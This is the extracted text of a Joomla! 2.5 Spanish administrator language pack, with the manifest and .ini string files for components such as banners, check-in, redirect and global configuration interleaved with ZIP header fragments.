VMSHIPMENT_WEIGHT_COUNTRIES="Vm Plugin Envio por Peso/Paises" PK@y>\Xa>>language/es-ES/es-ES.xmlnuW+A Spanish (ES) 2.5.28.1 2015-1-11 Spanish Translation Team: Comunidad Joomla info@comunidadjoomla.org www.comunidadjoomla.org Copyright (C) 2005 - 2015 Open Source Matters and comunidadjoomla.org. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt Spanish language pack for Joomla! 2.5.28 - Administrator Spanish (español) es-ES 0 es_ES.utf8, es_ES.UTF-8, es_ES, spanish 1 PK@y>\+language/es-ES/es-ES.plg_system_p3p.sys.ininuW+A; $Id: es-ES.plg_system_p3p.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_P3P_XML_DESCRIPTION="El plugin del sitema de política P3P permite enviar al encabezado HTML una cadena personalizada de etiqueta de política P3P. Es necesario en sesiones que tengan que trabajar sobre algunos navegadores como, por ejemplo, Internet Explorer 6 y 7." PLG_SYSTEM_P3P="Sistema - Política P3P" PK@y>\BCC.language/es-ES/es-ES.plg_system_logout.sys.ininuW+A; $Id: es-ES.plg_system_logout.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_SYSTEM_LOGOUT_XML_DESCRIPTION="El plugin de desconexión habilita la redirección del usuario a la página de inicio, si se desconecta de una página de acceso protegida." PLG_SYSTEM_LOGOUT="Sistema - Desconectar" PK@y>\ *L L $language/es-ES/es-ES.com_checkin.ininuW+A; $Id: es-ES.com_checkin.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_CHECKIN="Desbloqueo global" COM_CHECKIN_CONFIGURATION="Configuración del desbloqueo global" COM_CHECKIN_DATABASE_TABLE="Tabla de la base de datos" COM_CHECKIN_FILTER_SEARCH_DESC="Buscar tabla" COM_CHECKIN_GLOBAL_CHECK_IN="Mantenimiento: Desbloqueo global" COM_CHECKIN_ITEMS_TO_CHECK_IN="Elementos a desbloquear" COM_CHECKIN_N_ITEMS_CHECKED_IN_0="Sin elementos bloqueados" COM_CHECKIN_N_ITEMS_CHECKED_IN_1="1 elemento desbloqueado" COM_CHECKIN_N_ITEMS_CHECKED_IN_MORE="%s elementos desbloqueados" COM_CHECKIN_TABLE="%s tabla" COM_CHECKIN_XML_DESCRIPTION="Componente de desbloqueo" JLIB_RULES_SETTING_NOTES="1. Si cambia esta configuración, las modificaciones se aplicarán sobre este componente. Note que:
              Heredado quiere decir que, para determinar el estado del permiso, se tendrá en cuenta lo que haya asignado desde la configuración global y desde los grupos de nivel superior.
              Denegado quiere decir que da igual como esté configurado el estado de los permisos sobre esa acción desde la configuración global, o desde los grupos de nivel superior a los que pertenezca el grupo que desee configurar; es decir, al grupo al que le cambie el estado del permiso a 'Denegado' desde este apartado, no podrá realizar esa acción sobre este componente (incluyendo a todos sus subgrupos, si tuviera).
              Permitido quiere decir que el grupo al que le cambie el estado de la acción a 'Permitido' desde aquí, podrá realizar esa acción sobre este componente (pero si esta configuración entra en conflicto con lo asignado desde la configuración global, o con lo asignado en los grupos de nivel superior a los que pertenezca el grupo que desee reconfigurar, la configuración que aplique desde aquí no tendrá efecto, y el conflicto será indicado con un No permitido (bloqueado) debajo del estado de configuración calculada).
              2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." PK@y>\cH2language/es-ES/es-ES.plg_search_categories.sys.ininuW+A; $Id: es-ES.plg_search_categories.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_SEARCH_CATEGORIES="Buscar - Categorías" PLG_SEARCH_CATEGORIES_XML_DESCRIPTION="Se habilitan las búsquedas en la información de categorías" PK@y>\(W%language/es-ES/es-ES.mod_menu.sys.ininuW+A; $Id: es-ES.mod_menu.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_MENU="Menú de la administración" MOD_MENU_XML_DESCRIPTION="Este módulo muestra el menú superior de navegación de la administración." MOD_MENU_LAYOUT_DEFAULT="Predeterminado" PK@y>\1-language/es-ES/es-ES.plg_user_profile.sys.ininuW+A; $Id: es-ES.plg_user_profile.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_USER_PROFILE="Usuario - Perfil" PLG_USER_PROFILE_XML_DESCRIPTION="Plugin del perfil de usuario" PK@y>\F`;;$language/es-ES/es-ES.com_banners.ininuW+A; $Id: es-ES.com_banners.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_BANNERS="Anuncios" COM_BANNERS_BANNER_DETAILS="Detalles" COM_BANNERS_BANNER_SAVE_SUCCESS="El anuncio ha sido guardado correctamente" COM_BANNERS_BANNERS_HTML_PIN_BANNER="Anuncio fijado" COM_BANNERS_BANNERS_HTML_UNPIN_BANNER="Anuncio desfijado" COM_BANNERS_BANNERS_N_ITEMS_ARCHIVED="%d anuncios han sido archivados correctamente" COM_BANNERS_BANNERS_N_ITEMS_ARCHIVED_1="%d anuncio ha sido guardado correctamente" COM_BANNERS_BANNERS_N_ITEMS_CHECKED_IN_0="No se puede desbloquear el anuncio correctamente" COM_BANNERS_BANNERS_N_ITEMS_CHECKED_IN_1="%d no se puede desbloquear correctamente" COM_BANNERS_BANNERS_N_ITEMS_CHECKED_IN_MORE="%d han sido desbloqueados correctamente" COM_BANNERS_BANNERS_N_ITEMS_DELETED="%d anuncios han sido eliminados correctamente" COM_BANNERS_BANNERS_N_ITEMS_DELETED_1="%d anuncio ha sido eliminado correctamente" COM_BANNERS_BANNERS_N_ITEMS_PUBLISHED="%d anuncios han sido publicados correctamente" COM_BANNERS_BANNERS_N_ITEMS_PUBLISHED_1="%d anuncio ha sido publicado correctamente" COM_BANNERS_BANNERS_N_ITEMS_TRASHED="%d anuncios han sido movidos a la papelera correctamente" COM_BANNERS_BANNERS_N_ITEMS_TRASHED_1="%d anuncio ha sido movido a la papelera correctamente" COM_BANNERS_BANNERS_N_ITEMS_UNPUBLISHED="%d anuncios han sido despublicados correctamente" COM_BANNERS_BANNERS_N_ITEMS_UNPUBLISHED_1="%d anuncio ha sido despublicado correctamente" COM_BANNERS_BANNERS_NO_ITEM_SELECTED="Sin anuncios seleccionados" COM_BANNERS_BANNERS_PINNED="Anuncio fijado" COM_BANNERS_BANNERS_UNPINNED="Anuncio desfijado" COM_BANNERS_BATCH_CLIENT_LABEL="Asignar cliente" COM_BANNERS_BATCH_CLIENT_LABEL_DESC="Si no realiza una selección durante el proceso, se mantendrán los clientes originales." COM_BANNERS_BATCH_CLIENT_NOCHANGE="- Mantener los clientes originales -" COM_BANNERS_BATCH_OPTIONS="Procesar por lotes los anuncios seleccionados" COM_BANNERS_BATCH_TIP="Si se ha elegido copiar un anuncio, se aplicará cualquier otra acción seleccionada en el anuncio a copiar. En otro caso, se aplicarán todas las acciones al anuncio." COM_BANNERS_BEGIN_LABEL="Fecha de inicio:" COM_BANNERS_CANCEL="Cancelar" COM_BANNERS_CLICK="Clic" COM_BANNERS_CLIENT_SAVE_SUCCESS="El cliente ha sido guardado correctamente" COM_BANNERS_CLIENTS_N_ITEMS_ARCHIVED="%d clientes han sido archivados correctamente" COM_BANNERS_CLIENTS_N_ITEMS_ARCHIVED_1="%d cliente ha sido archivado correctamente" COM_BANNERS_CLIENTS_N_ITEMS_CHECKED_IN_0="No se puede desbloquear al cliente correctamente" COM_BANNERS_CLIENTS_N_ITEMS_CHECKED_IN_1="%d cliente ha sido desbloqueado correctamente" COM_BANNERS_CLIENTS_N_ITEMS_CHECKED_IN_MORE="%d clientes han sido desbloqueados correctamente" COM_BANNERS_CLIENTS_N_ITEMS_DELETED="%d clientes han sido borrados correctamente" COM_BANNERS_CLIENTS_N_ITEMS_DELETED_1="%d cliente ha sido borrado correctamente" COM_BANNERS_CLIENTS_N_ITEMS_PUBLISHED="%d clientes han sido publicados correctamente" COM_BANNERS_CLIENTS_N_ITEMS_PUBLISHED_1="%d cliente ha sido publicado correctamente" COM_BANNERS_CLIENTS_N_ITEMS_TRASHED="%d clientes han sido movidos a la papelera correctamente" COM_BANNERS_CLIENTS_N_ITEMS_TRASHED_1="%d cliente ha sido movido a la papelera correctamente" COM_BANNERS_CLIENTS_N_ITEMS_UNPUBLISHED="%d clientes han sido despublicados correctamente" COM_BANNERS_CLIENTS_N_ITEMS_UNPUBLISHED_1="%d cliente ha sido publicado correctamente" COM_BANNERS_CLIENTS_NO_ITEM_SELECTED="Sin clientes seleccionados" COM_BANNERS_CONFIGURATION="Opciones del gestor de anuncios" COM_BANNERS_DEFAULT="Predeterminado (%s)" COM_BANNERS_DELETE_MSG="¿Está seguro de que quiere borrar todos estos informes?" COM_BANNERS_EDIT_BANNER="Editar anuncio" COM_BANNERS_EDIT_CLIENT="Detalles" COM_BANNERS_END_LABEL="Fecha de finalización:" COM_BANNERS_ERR_ZIP_ADAPTER_FAILURE="Se ha producido un error con el adaptador del zip" COM_BANNERS_ERR_ZIP_CREATE_FAILURE="Se ha producido un error al crear el zip" COM_BANNERS_ERR_ZIP_DELETE_FAILURE="Se ha producido un error al borrar el zip" COM_BANNERS_ERROR_UNIQUE_ALIAS="Ya hay otro anuncio en esta categoría usando el mismo alias" COM_BANNERS_EXTRA="Información adicional" COM_BANNERS_FIELD_ALIAS_DESC="El alias es un parámetro de uso interno. Si lo deja en blanco, Joomla! lo rellenará con un valor predeterminado basado en el título. Debe ser único para cada anuncio que esté dentro de la misma categoría" COM_BANNERS_FIELD_ALT_DESC="Texto alternativo para la imagen del anuncio." COM_BANNERS_FIELD_ALT_LABEL="Texto alternativo" COM_BANNERS_FIELD_BANNEROWNPREFIX_DESC="Use el prefijo propio o el prefijo del cliente" COM_BANNERS_FIELD_BANNEROWNPREFIX_LABEL="Usar prefijo propio" COM_BANNERS_FIELD_BASENAME_DESC="El patrón del 'Filename' puede contener
              '__SITE__' para el nombre del sitio
              '__CATID__' para el 'ID' de la categoría
              '__CATNAME__' para el nombre de la categoría
              '__CLIENTID__' para el 'ID' del cliente
              '__CLIENTNAME__' para el nombre del cliente
              '__TYPE__' para el tipo
              '__TYPENAME__' para el tipo de nombre
              '__BEGIN__' para la fecha de inicio
              '__END__' para la fecha de finalización" COM_BANNERS_FIELD_BASENAME_LABEL="Nombre del archivo" COM_BANNERS_FIELD_CATEGORY_DESC="Elija una categoría para este anuncio" COM_BANNERS_FIELD_CLICKS_DESC="Muestra la cantidad de clics realizados sobre el anuncio. Si lo desea, puede hacer clic sobre 'Restablecer' y se pondrá el contador a cero." COM_BANNERS_FIELD_CLICKS_LABEL="Clics totales" COM_BANNERS_FIELD_CLICKURL_DESC="La URL que se usará cuando se haga clic sobre el anuncio." COM_BANNERS_FIELD_CLICKURL_LABEL="URL del anuncio" COM_BANNERS_FIELD_CLIENT_DESC="Elija un cliente para este anuncio" COM_BANNERS_FIELD_CLIENT_LABEL="Cliente" COM_BANNERS_FIELD_CLIENT_METAKEYWORDPREFIX_DESC="Cuando se buscan metapalabras clave, solo se buscarán las que empiecen con este prefijo (mejora el rendimiento)." COM_BANNERS_FIELD_CLIENT_METAKEYWORDPREFIX_LABEL="Prefijo de las metapalabras clave" COM_BANNERS_FIELD_CLIENT_METAKEYWORDS_DESC="Introduzca aquí las metapalabras clave para el cliente de anuncios" COM_BANNERS_FIELD_CLIENT_NAME_DESC="Introduzca un nombre para el cliente" COM_BANNERS_FIELD_CLIENT_NAME_LABEL="Nombre del cliente" COM_BANNERS_FIELD_CLIENT_STATE_DESC="Defina el estado del cliente" COM_BANNERS_FIELD_CLIENTOWNPREFIX_DESC="Usar un prefijo propio o el prefijo del componente" COM_BANNERS_FIELD_CLIENTOWNPREFIX_LABEL="Usar prefijo propio" COM_BANNERS_FIELD_COMPRESSED_DESC="Opción de comprimir el archivo para exportarlo" COM_BANNERS_FIELD_COMPRESSED_LABEL="Comprimido" COM_BANNERS_FIELD_CONTACT_DESC="Introduzca un nombre de contacto" COM_BANNERS_FIELD_CONTACT_LABEL="Nombre del contacto" COM_BANNERS_FIELD_CREATED_DESC="Fecha de creación del anuncio" COM_BANNERS_FIELD_CREATED_LABEL="Fecha de creación" COM_BANNERS_FIELD_CUSTOMCODE_DESC="Introduzca el código personalizado para el anuncio" COM_BANNERS_FIELD_CUSTOMCODE_LABEL="Código personalizado" COM_BANNERS_FIELD_DESCRIPTION_DESC="Introduzca una descripción para el anuncio" COM_BANNERS_FIELD_EMAIL_DESC="Introduzca una dirección de correo electrónico válida de contacto" COM_BANNERS_FIELD_EMAIL_LABEL="Correo electrónico de contacto" COM_BANNERS_FIELD_EXTRAINFO_DESC="Introduzca información adicional para este anuncio." COM_BANNERS_FIELD_EXTRAINFO_LABEL="Información adicional" COM_BANNERS_FIELD_HEIGHT_DESC="La altura del anuncio" COM_BANNERS_FIELD_HEIGHT_LABEL="Altura" COM_BANNERS_FIELD_IMAGE_DESC="Seleccione una imagen para este anuncio. Las imágenes deben estar en el directorio '/images/banners/'." COM_BANNERS_FIELD_IMAGE_LABEL="Imagen" COM_BANNERS_FIELD_IMPMADE_DESC="Muestra la cantidad de impresiones realizadas sobre el anuncio." COM_BANNERS_FIELD_IMPMADE_LABEL="Impresiones totales" COM_BANNERS_FIELD_IMPTOTAL_DESC="Límite total de impresiones configuradas para este anuncio." COM_BANNERS_FIELD_IMPTOTAL_LABEL="Impresiones máximas" COM_BANNERS_FIELD_LANGUAGE_DESC="Asigne un idioma para este anuncio" COM_BANNERS_FIELD_METAKEYWORDPREFIX_DESC="Cuando se busquen palabras clave, solo se buscarán las que empiecen con este prefijo (mejora el rendimiento)." COM_BANNERS_FIELD_METAKEYWORDPREFIX_LABEL="Prefijo de las metapalabras clave" COM_BANNERS_FIELD_METAKEYWORDS_DESC="Introduzca aquí las metapalabras clave para el anuncio" COM_BANNERS_FIELD_NAME_DESC="Introduzca un nombre para el anuncio" COM_BANNERS_FIELD_NAME_LABEL="Nombre" COM_BANNERS_FIELD_PUBLISH_DOWN_DESC="Una fecha opcional para el final de la publicación del anuncio." COM_BANNERS_FIELD_PUBLISH_DOWN_LABEL="Final de la publicación" COM_BANNERS_FIELD_PUBLISH_UP_DESC="Una fecha opcional para la publicación del anuncio." COM_BANNERS_FIELD_PUBLISH_UP_LABEL="Inicio de la publicación" COM_BANNERS_FIELD_PURCHASETYPE_DESC="Seleccione desde la lista el tipo de adquisición, compra o acuerdo relacionado con el anuncio." COM_BANNERS_FIELD_PURCHASETYPE_LABEL="Tipo de acuerdo" COM_BANNERS_FIELD_STATE_DESC="Defina el estado del anuncio" COM_BANNERS_FIELD_STICKY_DESC="Determina si el anuncio es 'Fijo', o no. Si hay uno o más anuncios fijos en una categoría dada, los fijos tendrán prioridad a la hora de mostrarse sobre los 'no fijos'. Por ejemplo, si hay dos anuncios fijos en la misma categoría y un tercero sin fijar, el tercer anuncio no se mostrará si, en la configuración del módulo, tenemos configurado 'Fijos aleatoriamente'. En ese caso, solo se mostrarán los anuncios fijos." COM_BANNERS_FIELD_STICKY_LABEL="Fijo" COM_BANNERS_FIELD_TRACKCLICK_DESC="Se registrarán, o no, la cantidad de clics que se han hecho sobre el anuncio diariamente." COM_BANNERS_FIELD_TRACKCLICK_LABEL="Informe de clics" COM_BANNERS_FIELD_TRACKIMPRESSION_DESC="Se registrarán, o no, las veces que se ha visto el anuncio al día." COM_BANNERS_FIELD_TRACKIMPRESSION_LABEL="Informe de impresiones" COM_BANNERS_FIELD_TYPE_DESC="Elija el tipo de anuncio. Seleccione la imagen a mostrar desde el directorio '/images/banners/'. Seleccione 'Personalizado' para introducir un código personalizado." COM_BANNERS_FIELD_TYPE_LABEL="Tipo" COM_BANNERS_FIELD_VALUE_1="Ilimitado" COM_BANNERS_FIELD_VALUE_2="Anual" COM_BANNERS_FIELD_VALUE_3="Mensual" COM_BANNERS_FIELD_VALUE_4="Semanal" COM_BANNERS_FIELD_VALUE_5="Diario" COM_BANNERS_FIELD_VALUE_CUSTOM="Personalizado" COM_BANNERS_FIELD_VALUE_IMAGE="Imagen" COM_BANNERS_FIELD_VALUE_USECLIENTDEFAULT="-- Usar el predeterminado para el cliente --" COM_BANNERS_FIELD_VALUE_USECOMPONENTDEFAULT="-- Usar el predeterminado para el componente --" COM_BANNERS_FIELD_WIDTH_LABEL="Ancho" COM_BANNERS_FIELD_WIDTH_DESC="El ancho del anuncio" COM_BANNERS_FIELDSET_CONFIG_CLIENT_OPTIONS_LABEL="Opciones del cliente" COM_BANNERS_FIELDSET_CONFIG_CLIENT_OPTIONS_DESC="Esta configuración es la que se aplica para todos los clientes, siempre y cuando que no se haya cambiado para un cliente específico." COM_BANNERS_FILENAME="%1$s-anuncios-informes-%2$s" COM_BANNERS_GROUP_LABEL_PUBLISHING_DETAILS="Opciones de publicación" COM_BANNERS_HEADING_ACTIVE="Activo" COM_BANNERS_HEADING_CLICKS="Clics" COM_BANNERS_HEADING_CLIENT="Cliente" COM_BANNERS_HEADING_CONTACT="Contacto" COM_BANNERS_HEADING_COUNT="Contador" COM_BANNERS_HEADING_IMPRESSIONS="Impresiones" COM_BANNERS_HEADING_METAKEYWORDS="Metapalabras clave" COM_BANNERS_HEADING_NAME="Nombre" COM_BANNERS_HEADING_PURCHASETYPE="Tipo de acuerdo" COM_BANNERS_HEADING_STICKY="Fijo" COM_BANNERS_HEADING_TYPE="Tipo" COM_BANNERS_IMPRESSION="Impresiones" COM_BANNERS_IMPRESSIONS="%1$s de %2$s" COM_BANNERS_MANAGER="Gestor de anuncios" COM_BANNERS_MANAGER_BANNER_EDIT="Gestor de anuncios: Editar anuncio" COM_BANNERS_MANAGER_BANNER_NEW="Gestor de anuncios: Nuevo anuncio" COM_BANNERS_MANAGER_BANNERS="Gestor de anuncios: Anuncios" COM_BANNERS_MANAGER_CLIENT_EDIT="Gestor de anuncios: Editar cliente" COM_BANNERS_MANAGER_CLIENT_NEW="Gestor de anuncios: Nuevo cliente" COM_BANNERS_MANAGER_CLIENTS="Gestor de anuncios: Clientes" COM_BANNERS_MANAGER_TRACKS="Gestor de anuncios: Informes" COM_BANNERS_METADATA="Metadatos" COM_BANNERS_N_BANNERS_STUCK="%d anuncios fijados correctamente." COM_BANNERS_N_BANNERS_STUCK_1="%d anuncio fijado correctamente." COM_BANNERS_N_BANNERS_UNSTUCK="%d anuncios desfijados correctamente." COM_BANNERS_N_BANNERS_UNSTUCK_1="%d anuncio desfijado correctamente." COM_BANNERS_NEW_BANNER="Nuevo anuncio" COM_BANNERS_NEW_CLIENT="Nuevo cliente" COM_BANNERS_NO_BANNERS_SELECTED="No hay anuncios seleccionados" COM_BANNERS_NO_CLIENT="- Sin cliente -" COM_BANNERS_NO_CLIENTS_SELECTED="No hay clientes seleccionados" COM_BANNERS_NOCATEGORYNAME="Sin categoría" COM_BANNERS_NOCLIENTNAME="Sin cliente" COM_BANNERS_RESET_CLICKS="Restablecer clics" COM_BANNERS_RESET_IMPMADE="Restablecer impresiones" COM_BANNERS_SEARCH_IN_TITLE="Buscar en el título" COM_BANNERS_SELECT_CLIENT="- Seleccionar cliente -" COM_BANNERS_SELECT_TYPE="- Tipo -" COM_BANNERS_SUBMENU_BANNERS="Anuncios" COM_BANNERS_SUBMENU_CATEGORIES="Categorías" COM_BANNERS_SUBMENU_CLIENTS="Clientes" COM_BANNERS_SUBMENU_TRACKS="Informes" COM_BANNERS_TRACKS_DELETE="Borrar informes" COM_BANNERS_TRACKS_DOWNLOAD="Descargar informes" COM_BANNERS_TRACKS_EXPORT="Exportar" COM_BANNERS_TRACKS_N_ITEMS_DELETED="%d informes borrados correctamente" COM_BANNERS_TRACKS_N_ITEMS_DELETED_1="%d informe borrado correctamente" COM_BANNERS_TYPE1="Impresiones" COM_BANNERS_TYPE2="Clics" COM_BANNERS_UNLIMITED="Ilimitado" COM_BANNERS_XML_DESCRIPTION="Este componente permite gestionar los anuncios y a sus clientes" JLIB_RULES_SETTING_NOTES="1. Si cambia la configuración, las modificaciones se aplicarán sobre este componente. Note que:
              Heredado quiere decir que, para determinar el estado del permiso, se tendrá en cuenta lo que hay asignado desde la configuración global y desde los grupos de nivel superior.
              Denegado quiere decir que da igual como esté configurado el estado de los permisos sobre esa acción desde la configuración global, o desde los grupos de nivel superior a los que pertenezca el grupo que desee configurar; es decir, al grupo al que le cambie el estado del permiso a 'Denegado' desde este apartado, no podrá realizar esa acción sobre este componente (incluyendo a todos sus subgrupos, si tuviera).
              Permitido quiere decir que el grupo al que le cambie el estado de la acción a 'Permitido' desde aquí, podrá realizar esa acción sobre este componente (pero si esta configuración entra en conflicto con lo asignado desde la configuración global, o con lo asignado en los grupos de nivel superior a los que pertenezca el grupo que desee reconfigurar, la configuración que aplique desde aquí no tendrá efecto, y el conflicto será indicado con un No permitido (bloqueado) debajo del estado de configuración calculada).
              2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." PK@y>\)language/es-ES/es-ES.com_redirect.sys.ininuW+A; $Id: es-ES.com_redirect.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_REDIRECT="Redirección" COM_REDIRECT_XML_DESCRIPTION="Este componente implementa la redirección de enlaces" PK@y>\=<<,language/es-ES/es-ES.plg_system_redirect.ininuW+A; $Id: es-ES.plg_system_redirect.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_REDIRECT_XML_DESCRIPTION="El plugin de redirección del sistema, habilita a Joomla! para que pueda capturar páginas desaparecidas y redireccionar a los usuarios." PLG_SYSTEM_REDIRECT="Sistema - Redirección" PK@y>\$rMYMY#language/es-ES/es-ES.com_config.ininuW+A; $Id: es-ES.com_config.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_CONFIG="Gestor de configuración" COM_CONFIG_ACTION_ADMIN_DESC="Permite a los usuarios del grupo realizar acciones sobre cualquier parte del sitio, a pesar de lo que indiquen los parámetros de configuración asignados desde otros lugares, donde también se permita su configuración." COM_CONFIG_ACTION_CREATE_DESC="Permite a los usuarios del grupo crear cualquier contenido en cualquier extensión." COM_CONFIG_ACTION_DELETE_DESC="Permite a los usuarios del grupo borrar cualquier contenido de cualquier extensión." COM_CONFIG_ACTION_EDIT_DESC="Permite a los usuarios del grupo editar cualquier contenido de cualquier extensión" COM_CONFIG_ACTION_EDITOWN_DESC="Permite a los usuarios del grupo editar cualquier contenido, del que son propietarios, en cualquier extensión" COM_CONFIG_ACTION_EDITSTATE_DESC="Permite a los usuarios del grupo editar el estado de cualquier contenido de cualquier extensión" COM_CONFIG_ACTION_LOGIN_ADMIN_DESC="Permite a los usuarios del grupo acceder a la zona administrativa del sitio ('backend')." COM_CONFIG_ACTION_LOGIN_OFFLINE_DESC="Permite a los usuarios del grupo acceder al sitio cuando está fuera de línea." COM_CONFIG_ACTION_LOGIN_SITE_DESC="Permite a los usuarios del grupo acceder al sitio ('frontend')." COM_CONFIG_ACTION_MANAGE_DESC="Permite a los usuarios del grupo acceder a todas las áreas de la administración, menos a la configuración global" COM_CONFIG_CACHE_SETTINGS="Configuración de la caché" COM_CONFIG_COMPONENT_FIELDSET_LABEL="Componente" COM_CONFIG_COOKIE_SETTINGS="Configuración de las 'cookies'" COM_CONFIG_DATABASE_SETTINGS="Configuración de la base de datos" COM_CONFIG_DEBUG_SETTINGS="Configuración del depurador" COM_CONFIG_ERROR_COMPONENT_ASSET_NOT_FOUND="No se puede encontrar el recurso activo necesario para el componente. Los permisos no han sido guardados." COM_CONFIG_ERROR_CONFIG_EXTENSION_NOT_FOUND="No se ha podido encontrar la extensión de la configuración global. Los filtros de texto asignados no se han guardado." COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTUNWRITABLE="No se puede cambiar el estado del permiso del archivo 'configuration.php' a no escribible." COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTWRITABLE="No se puede cambiar el estado del permiso del archivo 'configuration.php' a escribible." COM_CONFIG_ERROR_HELPREFRESH_ERROR_STORE="No se puede guardar la nueva lista de los sitios de ayuda" COM_CONFIG_ERROR_HELPREFRESH_FETCH="No se puede obtener la nueva lista de sitios de ayuda desde el servidor remoto" COM_CONFIG_ERROR_ROOT_ASSET_NOT_FOUND="No se puede encontrar el recurso activo necesario para la configuración global. Los permisos no han sido guardados." COM_CONFIG_ERROR_REMOVING_SUPER_ADMIN="No puede eliminar sus propios permisos de súper administrador." COM_CONFIG_ERROR_WRITE_FAILED="No se puede escribir en el archivo de configuración" COM_CONFIG_FIELD_CACHE_HANDLER_DESC="Seleccione un gestor de caché para habilitar la funcionalidad. El mecanismo nativo está basado en archivos. Por favor, asegúrese de que la carpeta 'cache' sea escribible." COM_CONFIG_FIELD_CACHE_HANDLER_LABEL="Gestor de la caché" COM_CONFIG_FIELD_CACHE_LABEL="Caché" COM_CONFIG_FIELD_CACHE_DESC="Se habilita o deshabilita la caché y su configuración. 'Nivel conservacional': Sistema de caché más pequeño. 'Nivel progresivo' (el predeterminado): Más rápido. Sistema de caché más grande que incluye caché de renderizado de módulos. No es la más apropiada para sitios muy grandes." COM_CONFIG_FIELD_CACHE_TIME_DESC="El tiempo máximo, en minutos, durante el que se almacenará a un archivo de la caché antes de actualizarlo." COM_CONFIG_FIELD_CACHE_TIME_LABEL="Duración de la caché" COM_CONFIG_FIELD_COOKIE_DOMAIN_DESC="El dominio a usar cuando se configuren las 'cookies' de sesión. Preceda al dominio con un '.' (punto) si la 'cookie' debe ser válida para todos los subdominios." COM_CONFIG_FIELD_COOKIE_DOMAIN_LABEL="Dominio de la 'cookie'" COM_CONFIG_FIELD_COOKIE_PATH_DESC="Ruta en la que la 'cookie' será válida." COM_CONFIG_FIELD_COOKIE_PATH_LABEL="Ruta de la 'cookie'" COM_CONFIG_FIELD_DATABASE_HOST_DESC="El hospedaje de su base de datos, introducido durante el proceso de instalación. No edite este campo a no ser que sea absolutamente necesario (Por ejemplo, la transferencia de la base de datos a un nuevo proveedor de hospedaje)." COM_CONFIG_FIELD_DATABASE_HOST_LABEL="Hospedaje" COM_CONFIG_FIELD_DATABASE_NAME_DESC="El nombre de su base de datos, introducido durante el proceso de instalación. No edite este campo a no ser que sea absolutamente necesario (Por ejemplo, la transferencia de la base de datos a un nuevo proveedor de hospedaje)." COM_CONFIG_FIELD_DATABASE_NAME_LABEL="Base de datos" COM_CONFIG_FIELD_DATABASE_PREFIX_DESC="El prefijo usado para su base de datos, introducido durante el proceso de instalación. No edite este campo a no ser que sea absolutamente necesario (Por ejemplo, la transferencia de la base de datos a un nuevo proveedor de hospedaje)." COM_CONFIG_FIELD_DATABASE_PREFIX_LABEL="Prefijo" COM_CONFIG_FIELD_DATABASE_TYPE_DESC="El tipo de base de datos en uso, introducido durante el proceso de instalación. No edite este campo a no ser que tenga que migrar a otro tipo de base de datos, tal vez, debido a un cambio de proveedor de hospedaje." COM_CONFIG_FIELD_DATABASE_TYPE_LABEL="Tipo" COM_CONFIG_FIELD_DATABASE_USERNAME_DESC="El nombre de usuario a usar para acceder a su base de datos, introducido durante el proceso de instalación. No edite este campo a no ser que sea absolutamente necesario (Por ejemplo, la transferencia de la base de datos a un nuevo proveedor de hospedaje)." COM_CONFIG_FIELD_DATABASE_USERNAME_LABEL="Usuario" COM_CONFIG_FIELD_DEBUG_LANG_DESC="Seleccione entre los indicadores de depuración (**...**) o (??...??) con los que los archivos del idioma de Joomla! se mostrarán. El depurador del idioma puede funcionar sin necesidad de que el depurador del sistema esté activado; pero, no recibirá el mismo nivel de detalle en las referencias como para poder corregir cualquier error que se detecte." 